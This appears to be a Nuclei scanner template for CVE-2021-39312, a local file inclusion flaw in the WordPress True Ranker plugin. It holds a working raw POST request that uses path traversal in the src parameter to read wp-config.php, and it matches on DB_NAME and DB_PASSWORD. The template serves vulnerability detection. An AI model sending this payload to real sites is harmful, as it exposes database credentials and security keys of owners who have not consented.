id: CVE-2021-39312

info:
  name: WordPress True Ranker <2.2.4 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.
  impact: |
    Unauthenticated attackers can read sensitive configuration files like wp-config.php via local file inclusion, exposing database credentials and WordPress security keys.
  remediation: Fixed in version 2.2.4
  reference:
    - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312
    - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39312
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39312
    cwe-id: CWE-22
    epss-score: 0.9078
    epss-percentile: 0.99638
    cpe: cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: trueranker
    product: true_ranker
    framework: wordpress
  tags: cve,cve2021,unauth,lfr,wpscan,wp-plugin,lfi,wp,wordpress,trueranker,vkev,vuln

http:
  - raw:
      - |
        POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022056b869d3a803d576f7148810fa6359d6588fdcc7b7fce03a96b340c90e48209d022100864fd883ed18c9514406220f69dc7681cff41bae245ea701020cd213f8f072c0:922c64590222798bb761d5b6d8e72950